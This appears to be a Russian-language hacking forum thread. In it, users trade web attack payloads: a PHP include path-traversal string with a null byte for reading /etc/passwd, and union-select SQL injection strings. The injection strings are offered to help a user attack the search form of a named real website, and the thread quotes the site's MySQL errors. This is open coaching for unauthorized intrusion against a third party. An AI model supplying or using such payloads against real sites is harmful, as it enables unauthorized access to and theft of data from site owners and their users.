Каталоги помому ваще фигня -

можно сделать ../../../../../../../../../../etc/passwd или

../etc/passwd

и все равно выдаст тот же фаил, если он есть)

Велемир,

Бред написал. Т.е. по твоему будет одноxуйственно?

include("/usr/blablabla/public_html/".$include_dir."blabla.php");
и
include("/usr/".$include_dir."blabla.php");

И при запросе
mda.php?include_dir=../../../etc/passwd%00
В обоих случаях выведет etc/passwd? Не стоит писать херню

__________________
..

Если не ошибаюсь, то в твоем примере в обоих случаях выведет /etc/passwd ))

Добрый всем. Немогли бы вы подсказать по sql inj. На сайте www.viagra.by в поиске походу sql inj. При запросе '#.......
Отвечает:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Как правильно далее выстроить запрос? '# union select null/* вроде не работает. Или просто не выводит ничего? Заранее спасибо за ответ.

причем тут # это тоже самое что и --
подставляй чтот тип.. '+union+select+1,2/*

а вообще намного удобние производить иньекцию здесь:

Ок, thx

Не волучается. =( С поиска передаются данные через POST, через GET не берет .

Выдает только:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union+select+1/*%' OR artikul LIKE '%'union+select+1/*%' OR description LIKE '%'' at line 1


Укажите плз нубу на его ошубку=)

выше запрос те же дали он работает )